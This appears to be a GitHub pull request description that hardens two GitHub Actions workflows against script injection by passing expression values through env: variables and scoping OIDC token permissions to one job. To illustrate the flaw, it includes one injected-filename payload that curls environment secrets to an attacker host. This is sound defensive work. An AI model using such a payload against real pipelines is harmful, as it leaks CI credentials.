fix(terraform): prevent script injection via env var isolation (#2679)
## Summary
Audit of `.github/workflows/` identified two files where GitHub Actions
expressions (`${{ }}`) are interpolated directly into bash `run:`
scripts. This is the script injection class documented by [GitHub
Security
Lab](https://securitylab.github.com/research/github-actions-untrusted-input/).
This PR applies the recommended mitigation across all affected steps:
pass expression values through `env:` block variables instead of inline
interpolation. When assigned via `env:`, the value is treated as a plain
string by the shell — metacharacters are never evaluated as commands.
---
## Files Changed
### 1. `.github/workflows/terraform.yml` — **Critical** (3 fixes)
**Fix 1 - Env var isolation for `tj-actions/changed-files` outputs**
The `Extract Orgs` step interpolated action outputs directly into bash:
```yaml
# BEFORE (vulnerable):
run: |
CHANGED="${{ steps.changed-files.outputs.all_changed_files }}"
DELETED="${{ steps.changed-files.outputs.deleted_files }}"
tj-actions/changed-files outputs filenames from the PR branch — fully attacker-controlled. A filename like: buildkite/terraform/bazel/$(curl https://attacker.com/exfil?d=$(env|base64)) would be evaluated as a shell command by bash.
# AFTER (safe):
env:
ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}
ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}
run: |
CHANGED="$ALL_CHANGED_FILES"
DELETED="$ALL_DELETED_FILES"
Fix 2 - Scope id-token: write to terraform job only
id-token: write was set at workflow level, making OIDC tokens available to all jobs including detect-changes which processes untrusted filenames. Moved to job-level permissions on terraform only.
# BEFORE: id-token: write at workflow level → detect-changes also gets OIDC
permissions:
contents: read
id-token: write
pull-requests: write
# AFTER: workflow-level has minimum permissions
permissions:
contents: read
pull-requests: write
terraform:
permissions:
contents: read
id-token: write # ← only this job needs GCP WIF
2. .github/workflows/release-rules.yml — Low (2 fixes)
Two inline ${{ }} expressions in run: blocks replaced with env vars:
- ${{ env.RULES_VERSION }} in the version echo step
- ${{ needs.create-release.outputs.rules_version }} in the staging dir name
References
- https://securitylab.github.com/research/github-actions-untrusted-input/
- go/github-security
Co-authored-by: Salma Samy <16399431+SalmaSamy@users.noreply.github.com>2 files changed